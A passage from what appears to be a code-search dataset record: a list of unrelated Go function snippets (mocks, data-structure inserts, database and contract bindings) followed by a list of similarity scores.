*gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Insert\", reflect.TypeOf((*MockDataSourceRepo)(nil).Insert), arg0, arg1)\n}", "func (_Authority *AuthoritySession) MarkPubKeyAsUsed(pubKey string, sender common.Address) (*types.Transaction, error) {\n\treturn _Authority.Contract.MarkPubKeyAsUsed(&_Authority.TransactOpts, pubKey, sender)\n}", "func (r *DynamicTargetingKeysService) Insert(profileId int64, dynamictargetingkey *DynamicTargetingKey) *DynamicTargetingKeysInsertCall {\n\tc := &DynamicTargetingKeysInsertCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.profileId = profileId\n\tc.dynamictargetingkey = dynamictargetingkey\n\treturn c\n}", "func (q *dStarLiteQueue) insert(u *dStarLiteNode, k key) {\n\tu.key = k\n\theap.Push(q, u)\n}", "func (sl *Slice) Insert(k Ki, idx int) {\n\tSliceInsert((*[]Ki)(sl), k, idx)\n}", "func checkOffset(queens []core.VarId, store *core.Store, offset int) {\n\theadQueen := queens[0]\n\tprop := propagator.CreateXplusCneqY(headQueen,\n\t\toffset, queens[core.AbsInt(offset)])\n\tstore.AddPropagator(prop)\n}", "func (db *DB) ensureInsertApp(app *App) error {\n\tfor {\n\t\tapp.Alias = randomStr(4)\n\n\t\terr := db.insertApp(app)\n\n\t\tif err == nil {\n\t\t\treturn nil\n\t\t}\n\n\t\tif isAppAliasUniqueError(err) {\n\t\t\tcontinue\n\t\t} else {\n\t\t\treturn err\n\t\t}\n\t}\n}", "func (t *openAddressing) Insert(key string, value interface{}) {\n\tif t.loadFactor() > 0.5 {\n\t\tt.tableDouble()\n\t}\n\tround := 0\n\tfor round != len(t.values) {\n\t\thash := t.hash(key, round)\n\t\tif t.values[hash] == nil || t.values[hash].deleted {\n\t\t\tt.values[hash] = &deletablePair{\n\t\t\t\tpair: pair{key, value},\n\t\t\t\tdeleted: false,\n\t\t\t}\n\t\t\tt.len++\n\t\t\treturn\n\t\t}\n\t\tround++\n\t}\n}", "func (j *DSGit) SupportOffsetFrom() bool {\n\treturn false\n}", "func (o *Origin) AddOriginOSK(ctx context.Context, exec boil.ContextExecutor, insert bool, related ...*OriginSecretKey) error {\n\tvar err error\n\tfor _, rel := range related {\n\t\tif insert {\n\t\t\tqueries.Assign(&rel.Origin, o.Name)\n\t\t\tif err = rel.Insert(ctx, exec, boil.Infer()); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"failed to insert into foreign table\")\n\t\t\t}\n\t\t} else {\n\t\t\tupdateQuery := fmt.Sprintf(\n\t\t\t\t\"UPDATE \\\"origin_secret_keys\\\" SET %s WHERE %s\",\n\t\t\t\tstrmangle.SetParamNames(\"\\\"\", \"\\\"\", 1, []string{\"origin\"}),\n\t\t\t\tstrmangle.WhereClause(\"\\\"\", \"\\\"\", 2, originSecretKeyPrimaryKeyColumns),\n\t\t\t)\n\t\t\tvalues := []interface{}{o.Name, rel.ID}\n\n\t\t\tif boil.DebugMode {\n\t\t\t\tfmt.Fprintln(boil.DebugWriter, updateQuery)\n\t\t\t\tfmt.Fprintln(boil.DebugWriter, values)\n\t\t\t}\n\n\t\t\tif _, err = exec.ExecContext(ctx, updateQuery, values...); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"failed to update foreign table\")\n\t\t\t}\n\n\t\t\tqueries.Assign(&rel.Origin, o.Name)\n\t\t}\n\t}\n\n\tif o.R == nil {\n\t\to.R = &originR{\n\t\t\tOriginOSK: related,\n\t\t}\n\t} else {\n\t\to.R.OriginOSK = append(o.R.OriginOSK, related...)\n\t}\n\n\tfor _, rel := range related {\n\t\tif rel.R == nil {\n\t\t\trel.R = &originSecretKeyR{\n\t\t\t\tOriginName: o,\n\t\t\t}\n\t\t} else {\n\t\t\trel.R.OriginName = o\n\t\t}\n\t}\n\treturn nil\n}", "func snappyEmitCopy(dst []byte, offset int) int {\n\tidx := 0\n\tb1 := byte(offset)\n\tb2 := byte(offset >> 8)\n\tlength := len(dst)\n\n\tfor length >= 64 {\n\t\tdst[idx] = B0\n\t\tdst[idx+1] = b1\n\t\tdst[idx+2] = b2\n\t\tidx += 3\n\t\tlength -= 64\n\t}\n\n\tif length > 0 {\n\t\tif (offset < 2048) && (length < 12) && (length >= 4) {\n\t\t\tdst[idx] = byte(((b2 & 0x07) << 5) | (byte(length-4) << 2) | TAG_COPY1)\n\t\t\tdst[idx+1] = b1\n\t\t\tidx += 2\n\t\t} else {\n\t\t\tdst[idx] = byte(((length - 1) << 2) | TAG_COPY2)\n\t\t\tdst[idx+1] = b1\n\t\t\tdst[idx+2] = b2\n\t\t\tidx += 3\n\t\t}\n\t}\n\n\treturn idx\n}", "func (mr *MockFormatterMockRecorder) AccessGrantFromAuthorizationRequestInsertable(r, application interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"AccessGrantFromAuthorizationRequestInsertable\", reflect.TypeOf((*MockFormatter)(nil).AccessGrantFromAuthorizationRequestInsertable), r, application)\n}", "func (am AttributeMap) InsertInt(k string, v int64) {\n\tif _, existing := am.Get(k); !existing {\n\t\t*am.orig = append(*am.orig, newAttributeKeyValueInt(k, v))\n\t}\n}", "func (am AttributeMap) InsertInt(k string, v int64) {\n\tif _, existing := am.Get(k); !existing {\n\t\t*am.orig = append(*am.orig, newAttributeKeyValueInt(k, v))\n\t}\n}", "func (dbLayer migrationManagerLayer) MarkApplied(key string, description string) error {\n\tinfo := MigrationInfo{\n\t\tKey: key,\n\t\tDescription: description,\n\t\tAppliedAt: time.Now(),\n\t}\n\treturn dbLayer.db.C(seedingCollectionName).Insert(info)\n}", "func insert(head, x *node, dest int) bool {\n\theadVal := head.val\n\tcur := head\n\tfor cur.val != dest {\n\t\tcur = cur.next\n\t\tif cur.val == headVal {\n\t\t\treturn false\n\t\t}\n\t}\n\txtail := findTail(x)\n\txtail.next = cur.next\n\tcur.next = x\n\treturn true\n}", "func insertOwner(owner sdk.AccAddress, m bson.M) bson.M {\n\tif m == nil {\n\t\tm = make(bson.M)\n\t}\n\tm[\"_owner\"] = owner.String()\n\treturn m\n}", "func InsertBytes(dest *[]byte, pos int, src ...[]byte) {\n\tfor _, part := range src {\n\t\tdestLen, partLen := len(*dest), len(part)\n\t\tif pos < 0 || pos > destLen {\n\t\t\tmod.Error(\"Position\", pos, \"out of range; len(*dest):\", destLen)\n\t\t} else if partLen != 0 {\n\t\t\t*dest = append(*dest, part...) // grow destination\n\t\t\tcopy((*dest)[pos+partLen:], (*dest)[pos:]) // shift to make space\n\t\t\tcopy((*dest)[pos:], part) // copy source to dest.\n\t\t}\n\t\tpos += len(part)\n\t}\n}", "func (jr *joinReader) indexLookup(\n\tctx context.Context,\n\ttxn *client.Txn,\n\tspans roachpb.Spans,\n\tspanToRows map[string][]sqlbase.EncDatumRow,\n) (bool, error) {\n\t// TODO(radu,andrei,knz): set the traceKV flag when requested by the session.\n\terr := jr.fetcher.StartScan(\n\t\tctx,\n\t\ttxn,\n\t\tspans,\n\t\tfalse, /* no batch limits */\n\t\t0,\n\t\tfalse, /* traceKV */\n\t)\n\tif err != nil {\n\t\tlog.Errorf(ctx, \"scan error: %s\", err)\n\t\treturn true, err\n\t}\n\tfor {\n\t\tindexKey := jr.fetcher.IndexKeyString(len(jr.lookupCols))\n\t\tindexRow, _, _, err := jr.fetcher.NextRow(ctx)\n\t\tif err != nil {\n\t\t\terr = scrub.UnwrapScrubError(err)\n\t\t\treturn true, err\n\t\t}\n\t\tif indexRow == nil {\n\t\t\t// Done with this batch.\n\t\t\tbreak\n\t\t}\n\n\t\t// If a mapping for the index row was provided, use it.\n\t\tmappedIndexRow := make(sqlbase.EncDatumRow, 0, len(indexRow))\n\t\tif jr.indexMap != nil {\n\t\t\tfor _, m := range jr.indexMap {\n\t\t\t\tmappedIndexRow = append(mappedIndexRow, indexRow[m])\n\t\t\t}\n\t\t} else {\n\t\t\tmappedIndexRow = indexRow\n\t\t}\n\t\trows := spanToRows[indexKey]\n\n\t\tif !jr.isLookupJoin() {\n\t\t\t// Emit the row; stop if no more rows are needed.\n\t\t\tif !emitHelper(ctx, &jr.out, indexRow, nil /* meta */, jr.pushTrailingMeta, jr.input) {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t} else {\n\t\t\tfor _, row := range rows {\n\t\t\t\tjr.renderedRow = jr.renderedRow[:0]\n\t\t\t\tif jr.renderedRow, err = jr.render(row, mappedIndexRow); err != nil {\n\t\t\t\t\treturn false, err\n\t\t\t\t}\n\t\t\t\tif jr.renderedRow == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Emit the row; stop if no more rows are needed.\n\t\t\t\tif !emitHelper(\n\t\t\t\t\tctx, &jr.out, jr.renderedRow, nil /* meta */, jr.pushTrailingMeta, jr.input,\n\t\t\t\t) {\n\t\t\t\t\treturn true, nil\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn false, nil\n}", "func (s SourceAliases) SrcIdx(name tree.TableName) (srcIdx int, found bool) {\n\tfor i := range s {\n\t\tif s[i].Name.CatalogName == name.CatalogName &&\n\t\t\ts[i].Name.SchemaName == name.SchemaName &&\n\t\t\ts[i].Name.TableName == name.TableName {\n\t\t\treturn i, true\n\t\t}\n\t}\n\treturn -1, false\n}", "func (st *Schema) addIndex(pk bool, name string, cols []IndexColumn) bool {\n\tif reflect.DeepEqual(st.PK, cols) {\n\t\treturn false\n\t}\n\tfor _, ind := range st.Indexes {\n\t\tif reflect.DeepEqual(ind.Columns, cols) {\n\t\t\tif pk {\n\t\t\t\tst.PrimaryKey = ind.Index\n\t\t\t}\n\t\t\treturn false\n\t\t}\n\t}\n\tst.Indexes = append(st.Indexes, SchemaIndex{\n\t\tIndex: name,\n\t\tColumns: cols,\n\t})\n\tif pk {\n\t\tst.PrimaryKey = name\n\t}\n\treturn true\n}", "func (_Authority *AuthorityTransactor) MarkPubKeyAsUsed(opts *bind.TransactOpts, pubKey string, sender common.Address) (*types.Transaction, error) {\n\treturn _Authority.contract.Transact(opts, \"markPubKeyAsUsed\", pubKey, sender)\n}", "func WithOffset(v int64) (p Pair) {\n\treturn Pair{Key: \"offset\", Value: v}\n}", "func (m *MockIPTables) Insert(table string, chain string, pos int, rulespec ...string) error {\n\tm.Rules = m.prependRule(m.Rules, IPtableRule{\n\t\tTable: table,\n\t\tChain: chain,\n\t\tRuleSpec: rulespec,\n\t})\n\treturn nil\n}", "func (rs *RandomizedSet) Insert(val int) bool {\n\tif _, ok := rs.set[val]; ok {\n\t\treturn false\n\t}\n\trs.set[val] = len(rs.keys)\n\trs.keys = append(rs.keys, val)\n\treturn true\n}", "func containspk(a []accountdb.AccountStruct, pk string) bool {\n\tfor _, n := range a {\n\t\tif pk == n.AccountPublicKey {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func (mr *MockSessionRepMockRecorder) Insert(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Insert\", reflect.TypeOf((*MockSessionRep)(nil).Insert), arg0)\n}", "func insertIntoLeaf(leaf *Node, key []byte, pointer *Record) {\n\ti := 0\n\tfor i < leaf.KeysNum {\n\t\tif compare(key, leaf.Keys[i]) > 0 {\n\t\t\ti++\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\n\tfor j := leaf.KeysNum; j > i; j-- {\n\t\tleaf.Keys[j] = leaf.Keys[j-1]\n\t\tleaf.pointers[j] = leaf.pointers[j-1]\n\t}\n\n\tleaf.Keys[i] = key\n\tleaf.pointers[i] = pointer\n\tleaf.KeysNum++\n}", "func (o *Operation) insertAnchor(p PortalID) error {\n\t_, err := db.Exec(\"INSERT IGNORE INTO anchor (opID, portalID) VALUES (?, ?)\", o.ID, p)\n\tif err != nil {\n\t\tLog.Error(err)\n\t\treturn err\n\t}\n\treturn nil\n}", "func (t *booleanWindowTable) nextAt(ts int64) (v bool, ok bool) {\n\tif !t.nextBuffer() {\n\t\treturn\n\t} else if !t.isInWindow(ts, t.arr.Timestamps[t.idxInArr]) {\n\t\treturn\n\t}\n\tv, ok = t.arr.Values[t.idxInArr], true\n\tt.idxInArr++\n\treturn v, ok\n}", "func (a *RepoAPI) upsertOwner(params interface{}) (resp *rpc.Response) {\n\treturn rpc.Success(a.mods.Repo.UpsertOwner(cast.ToStringMap(params)))\n}" ]
[ "0.53806126", "0.49017456", "0.45575985", "0.45187888", "0.4372562", "0.43215376", "0.42887828", "0.42844123", "0.42801693", "0.42686084", "0.4265812", "0.42324173", "0.41944718", "0.4174271", "0.4151377", "0.41212583", "0.41108283", "0.41079918", "0.40762496", "0.40593997", "0.40400678", "0.40167767", "0.4010726", "0.40040648", "0.3995953", "0.3983409", "0.397495", "0.39655617", "0.396003", "0.39562345", "0.39245746", "0.39200038", "0.39136568", "0.39136568", "0.39130569", "0.3905929", "0.39000425", "0.38937205", "0.38890454", "0.38835576", "0.38823104", "0.38716567", "0.38706353", "0.38694036", "0.3862935", "0.38617575", "0.38506716", "0.38501677", "0.38341242", "0.38320634", "0.38306373", "0.38282698", "0.38280597", "0.38239393", "0.38185155", "0.38134816", "0.3807193", "0.38050476", "0.38011417", "0.3800698", "0.37928018", "0.3790829", "0.3788078", "0.37758332", "0.3774579", "0.3771218", "0.3762152", "0.37617913", "0.37575197", "0.37540847", "0.37487462", "0.37439862", "0.37405446", "0.37367693", "0.37346423", "0.37318295", "0.37312305", "0.37260365", "0.37258285", "0.372504", "0.3724995", "0.3721754", "0.3721754", "0.3720429", "0.37184155", "0.37146035", "0.37079507", "0.3703064", "0.3697775", "0.3696068", "0.36952624", "0.36911654", "0.36909276", "0.36882603", "0.36877584", "0.36748058", "0.3674372", "0.36674312", "0.36657786", "0.36628178" ]
0.7343345
0
UpdateOffset updates the offset associated with the given source application key sk. ak is the 'owner' application key. It returns false if the row does not exist or c is not the current offset associated with the given application key.
func (driver) UpdateOffset( ctx context.Context, tx *sql.Tx, ak, sk string, c, n uint64, ) (_ bool, err error) { defer sqlx.Recover(&err) return sqlx.TryExecRow( ctx, tx, `UPDATE stream_offset SET next_offset = ? WHERE app_key = ? AND source_app_key = ? AND next_offset = ?`, n, ak, sk, c, ), nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (driver) InsertOffset(\n\tctx context.Context,\n\ttx *sql.Tx,\n\tak, sk string,\n\tn uint64,\n) (_ bool, err error) {\n\tdefer sqlx.Recover(&err)\n\n\treturn sqlx.TryExecRow(\n\t\tctx,\n\t\ttx,\n\t\t`INSERT INTO stream_offset SET\n\t\t\tapp_key = ?,\n\t\t\tsource_app_key = ?,\n\t\t\tnext_offset = ?\n\t\tON DUPLICATE KEY UPDATE\n\t\t\tapp_key = app_key`, // do nothing\n\t\tak,\n\t\tsk,\n\t\tn,\n\t), nil\n}", "func (fs *SOffsetRepo) Update(sg domain.SGroupPartition, newOffset uint64) error {\n\tlatest := fs.Get(sg)\n\tif latest != nil {\n\t\tif newOffset != *latest+1 {\n\t\t\tlog.Fatalf(\"Data corruption! New group offset doesn't equal incremented latest offset: new=%d, latest=%d\",\n\t\t\t\tnewOffset, *latest)\n\t\t}\n\t} else if newOffset != 0 {\n\t\tlog.Fatalf(\"Data corruption! First group newOffset doesn't equal zero: new=%d\", newOffset)\n\t}\n\n\tfPath := config.GroupFile(sg.Topic, sg.Group, sg.PartitionID)\n\tf, err := os.OpenFile(fPath, os.O_WRONLY|os.O_CREATE, 0600)\n\tif err != nil {\n\t\tlog.Errorf(\"Couldn't open file %s: %s\", fPath, err)\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\tbuf := make([]byte, 8)\n\tbinary.LittleEndian.PutUint64(buf, newOffset)\n\n\t_, err = f.WriteAt(buf, 0)\n\tif err != nil {\n\t\tlog.Errorf(\"Couldn't write to file %s: %s\", fPath, err)\n\t\treturn err\n\t}\n\tfs.putOffsetIntoMemory(sg, newOffset)\n\treturn nil\n}", "func (s *SoExtFollowingWrap) update(sa *SoExtFollowing) bool {\n\tif s.dba == nil || sa == nil {\n\t\treturn false\n\t}\n\tbuf, err := proto.Marshal(sa)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tkeyBuf, err := s.encodeMainKey()\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn s.dba.Put(keyBuf, buf) == nil\n}", "func updateEntryOffset(file *ast.File, entryOffKey uint32) {\n\t// Note that this field could be renamed in future Go versions.\n\tconst nameOffField = \"nameOff\"\n\tentryOffUpdated := false\n\n\t// During linker stage we encrypt funcInfo.entryoff using a random number and funcInfo.nameOff,\n\t// for correct program functioning we must decrypt funcInfo.entryoff at any access to it.\n\t// In runtime package all references to funcInfo.entryOff are made through one method entry():\n\t// func (f funcInfo) entry() uintptr {\n\t//\treturn f.datap.textAddr(f.entryoff)\n\t// }\n\t// It is enough to inject decryption into entry() method for program to start working transparently with encrypted value of funcInfo.entryOff:\n\t// func (f funcInfo) entry() uintptr {\n\t//\treturn f.datap.textAddr(f.entryoff ^ (uint32(f.nameOff) * <random int>))\n\t// }\n\tupdateEntryOff := func(node ast.Node) bool {\n\t\tcallExpr, ok := node.(*ast.CallExpr)\n\t\tif !ok {\n\t\t\treturn true\n\t\t}\n\n\t\ttextSelExpr, ok := callExpr.Fun.(*ast.SelectorExpr)\n\t\tif !ok || textSelExpr.Sel.Name != \"textAddr\" {\n\t\t\treturn true\n\t\t}\n\n\t\tselExpr, ok := callExpr.Args[0].(*ast.SelectorExpr)\n\t\tif !ok {\n\t\t\treturn true\n\t\t}\n\n\t\tcallExpr.Args[0] = &ast.BinaryExpr{\n\t\t\tX: selExpr,\n\t\t\tOp: token.XOR,\n\t\t\tY: &ast.ParenExpr{X: &ast.BinaryExpr{\n\t\t\t\tX: ah.CallExpr(ast.NewIdent(\"uint32\"), &ast.SelectorExpr{\n\t\t\t\t\tX: selExpr.X,\n\t\t\t\t\tSel: ast.NewIdent(nameOffField),\n\t\t\t\t}),\n\t\t\t\tOp: token.MUL,\n\t\t\t\tY: &ast.BasicLit{\n\t\t\t\t\tKind: token.INT,\n\t\t\t\t\tValue: strconv.FormatUint(uint64(entryOffKey), 10),\n\t\t\t\t},\n\t\t\t}},\n\t\t}\n\t\tentryOffUpdated = true\n\t\treturn false\n\t}\n\n\tvar entryFunc *ast.FuncDecl\n\tfor _, decl := range file.Decls {\n\t\tdecl, ok := decl.(*ast.FuncDecl)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\tif decl.Name.Name == \"entry\" {\n\t\t\tentryFunc = decl\n\t\t\tbreak\n\t\t}\n\t}\n\tif entryFunc == nil {\n\t\tpanic(\"entry function not found\")\n\t}\n\n\tast.Inspect(entryFunc, updateEntryOff)\n\tif !entryOffUpdated {\n\t\tpanic(\"entryOff not found\")\n\t}\n}", "func (c *Cache) incrementOffset(key string, initial, offset, ttl int64) error {\n\tc.client.Do(\"WATCH\", key)\n\n\tif err := c.exists(key); err != nil {\n\t\tc.client.Do(\"MULTI\")\n\t\tdefer c.client.Do(\"EXEC\")\n\t\treturn c.Set(key, encoding.Int64Bytes(initial), ttl)\n\t}\n\n\tgetValue, _, err := c.Get(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tval, ok := encoding.BytesInt64(getValue)\n\n\tif !ok {\n\t\treturn errors.NewEncoding(key)\n\t}\n\n\t// We are watching our key. With using a transaction, we can check that this\n\t// increment doesn't inflect with another concurrent request that might\n\t// happen.\n\tc.client.Do(\"MULTI\")\n\tdefer c.client.Do(\"EXEC\")\n\n\tval += offset\n\tif val < 0 {\n\t\treturn errors.NewValueBelowZero(key)\n\t}\n\n\treturn c.Set(key, encoding.Int64Bytes(val), ttl)\n}", "func (s *SoBlockSummaryObjectWrap) update(sa *SoBlockSummaryObject) bool {\n\tif s.dba == nil || sa == nil {\n\t\treturn false\n\t}\n\tbuf, err := proto.Marshal(sa)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tkeyBuf, err := s.encodeMainKey()\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn s.dba.Put(keyBuf, buf) == nil\n}", "func Update(crc uint64, tab *Table, p []byte) uint64 {}", "func (c *KafkaClient) CommitOffset(group string, topic string, partition int32, offset int64) error {\n\tfor i := 0; i <= c.config.CommitOffsetRetries; i++ {\n\t\terr := c.tryCommitOffset(group, topic, partition, offset)\n\t\tif err == nil {\n\t\t\treturn nil\n\t\t}\n\n\t\tlog.Debugf(\"Failed to commit offset %d for group %s, topic %s, partition %d after %d try: %s\", offset, group, topic, partition, i, err)\n\t\ttime.Sleep(c.config.CommitOffsetBackoff)\n\t}\n\n\treturn fmt.Errorf(\"Could not get commit offset %d for group %s, topic %s, partition %d after %d retries\", offset, group, topic, partition, c.config.CommitOffsetRetries)\n}", "func (c *Coordinator) CommitOffset(topic string, partition int32, offset int64) error {\n\tb, err := c.client.Coordinator(c.cfg.GroupID)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// OffsetCommitRequest retention time should be -1 to signify to use the broker default.\n\tvar rt int64 = -1\n\tif c.cfg.RetentionTime.Nanoseconds() != 0 {\n\t\trt = c.cfg.RetentionTime.Nanoseconds() / int64(time.Millisecond)\n\t}\n\treq := &sarama.OffsetCommitRequest{\n\t\tConsumerGroup: c.cfg.GroupID,\n\t\tConsumerGroupGeneration: c.gid,\n\t\tConsumerID: c.mid,\n\t\tRetentionTime: rt,\n\t\tVersion: offsetCommitRequestVersion,\n\t}\n\treq.AddBlock(topic, partition, offset, 0, \"\")\n\tresp, err := b.CommitOffset(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// return first error we happen to iterate into (if any).\n\tfor _, topicErrs := range resp.Errors {\n\t\tfor _, partitionErr := range topicErrs {\n\t\t\tif partitionErr == sarama.ErrNoError {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn partitionErr\n\t\t}\n\t}\n\treturn nil\n}", "func (t *Testzzz) Update(ctx context.Context, key ...interface{}) error {\n\tvar err error\n\tvar dbConn *sql.DB\n\n\t// if deleted, bail\n\tif t._deleted {\n\t\treturn errors.New(\"update failed: marked for deletion\")\n\t}\n\n\ttx, err := components.M.GetConnFromCtx(ctx)\n\tif err != nil {\n\t\tdbConn, err = components.M.GetMasterConn()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttableName, err := GetTestzzzTableName(key...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// sql query\n\tsqlstr := `UPDATE ` + tableName + ` SET ` +\n\t\t`a = ?, b = ?, c = ?` +\n\t\t` WHERE id = ?`\n\n\t// run query\n\tutils.GetTraceLog(ctx).Debug(\"DB\", zap.String(\"SQL\", fmt.Sprint(sqlstr, t.A, t.B, t.C, t.ID)))\n\tif tx != nil {\n\t\t_, err = tx.Exec(sqlstr, t.A, t.B, t.C, t.ID)\n\t} else {\n\t\t_, err = dbConn.Exec(sqlstr, t.A, t.B, t.C, t.ID)\n\t}\n\treturn err\n}", "func (ust *UsersShopTrace) Update(ctx context.Context, key ...interface{}) error {\n\tvar err error\n\tvar dbConn *sql.DB\n\n\t// if deleted, bail\n\tif ust._deleted {\n\t\treturn errors.New(\"update failed: marked for deletion\")\n\t}\n\n\ttx, err := components.M.GetConnFromCtx(ctx)\n\tif err != nil {\n\t\tdbConn, err = components.M.GetMasterConn()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttableName, err := GetUsersShopTraceTableName(key...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// sql query\n\tsqlstr := `UPDATE ` + tableName + ` SET ` +\n\t\t`openid = ?, unionid = ?, appid = ?, uid = ?, fid = ?, sid = ?, updated = ?` +\n\t\t` WHERE id = ?`\n\n\t// run query\n\tutils.GetTraceLog(ctx).Debug(\"DB\", zap.String(\"SQL\", fmt.Sprint(sqlstr, ust.Openid, ust.Unionid, ust.Appid, ust.UID, ust.Fid, ust.Sid, ust.Updated, ust.ID)))\n\tif tx != nil {\n\t\t_, err = tx.Exec(sqlstr, ust.Openid, ust.Unionid, ust.Appid, ust.UID, ust.Fid, ust.Sid, ust.Updated, ust.ID)\n\t} else {\n\t\t_, err = dbConn.Exec(sqlstr, ust.Openid, ust.Unionid, ust.Appid, ust.UID, ust.Fid, ust.Sid, ust.Updated, ust.ID)\n\t}\n\treturn err\n}", "func (o *Source) Update(exec boil.Executor, columns boil.Columns) (int64, error) {\n\tvar err error\n\tkey := makeCacheKey(columns, nil)\n\tsourceUpdateCacheMut.RLock()\n\tcache, cached := sourceUpdateCache[key]\n\tsourceUpdateCacheMut.RUnlock()\n\n\tif !cached {\n\t\twl := columns.UpdateColumnSet(\n\t\t\tsourceAllColumns,\n\t\t\tsourcePrimaryKeyColumns,\n\t\t)\n\t\tif len(wl) == 0 {\n\t\t\treturn 0, errors.New(\"mdbmodels: unable to update sources, could not build whitelist\")\n\t\t}\n\n\t\tcache.query = fmt.Sprintf(\"UPDATE \\\"sources\\\" SET %s WHERE %s\",\n\t\t\tstrmangle.SetParamNames(\"\\\"\", \"\\\"\", 1, wl),\n\t\t\tstrmangle.WhereClause(\"\\\"\", \"\\\"\", len(wl)+1, sourcePrimaryKeyColumns),\n\t\t)\n\t\tcache.valueMapping, err = queries.BindMapping(sourceType, sourceMapping, append(wl, sourcePrimaryKeyColumns...))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvalues := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), cache.valueMapping)\n\n\tif boil.DebugMode {\n\t\tfmt.Fprintln(boil.DebugWriter, cache.query)\n\t\tfmt.Fprintln(boil.DebugWriter, values)\n\t}\n\tvar result sql.Result\n\tresult, err = exec.Exec(cache.query, values...)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"mdbmodels: unable to update sources row\")\n\t}\n\n\trowsAff, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"mdbmodels: failed to get rows affected by update for sources\")\n\t}\n\n\tif !cached {\n\t\tsourceUpdateCacheMut.Lock()\n\t\tsourceUpdateCache[key] = cache\n\t\tsourceUpdateCacheMut.Unlock()\n\t}\n\n\treturn rowsAff, nil\n}", "func (tx *Tx) CheckUpdate(recid uint64,record []byte) (err error) {\n\tvar reckey [8]byte\n\tbinary.BigEndian.PutUint64(reckey[:],recid)\n\tif tx.extract==nil { err = EInternal ; return }\n\tif tx.records==nil { err = ENoRecord ; return }\n\tref,_ := tx.records.Cursor().Seek(reckey[:])\n\tif !bytes.Equal(ref,reckey[:]) { err = ENoRecord ; return }\n\t\n\tdef := &checker2{tx,recid,nil}\n\ttx.extract.Extract(record,def)\n\terr = def.damage\n\treturn\n}", "func (n *node) casNextNodeOffset(level uint8, old uint32, new uint32) bool {\n\treturn atomic.CompareAndSwapUint32(&n.layers[level], old, new)\n}", "func (s *SoBlockProducerVoteWrap) update(sa *SoBlockProducerVote) bool {\n\tif s.dba == nil || sa == nil {\n\t\treturn false\n\t}\n\tbuf, err := proto.Marshal(sa)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tkeyBuf, err := s.encodeMainKey()\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn s.dba.Put(keyBuf, buf) == nil\n}", "func (b *blockEnc) matchOffset(offset, lits uint32) uint32 {\n\t// Check if offset is one of the recent offsets.\n\t// Adjusts the output offset accordingly.\n\t// Gives a tiny bit of compression, typically around 1%.\n\tif true {\n\t\tif lits > 0 {\n\t\t\tswitch offset {\n\t\t\tcase b.recentOffsets[0]:\n\t\t\t\toffset = 1\n\t\t\tcase b.recentOffsets[1]:\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 2\n\t\t\tcase b.recentOffsets[2]:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 3\n\t\t\tdefault:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset += 3\n\t\t\t}\n\t\t} else {\n\t\t\tswitch offset {\n\t\t\tcase b.recentOffsets[1]:\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 1\n\t\t\tcase b.recentOffsets[2]:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 2\n\t\t\tcase b.recentOffsets[0] - 1:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 3\n\t\t\tdefault:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset += 3\n\t\t\t}\n\t\t}\n\t} else {\n\t\toffset += 3\n\t}\n\treturn offset\n}", "func (j *jit) UpdateAWS(rdc <-chan read, v *Vars, ords []ship.Order) (<-chan newSKU, <-chan error) {\n\tskuc := make(chan newSKU)\n\terrc := make(chan error, 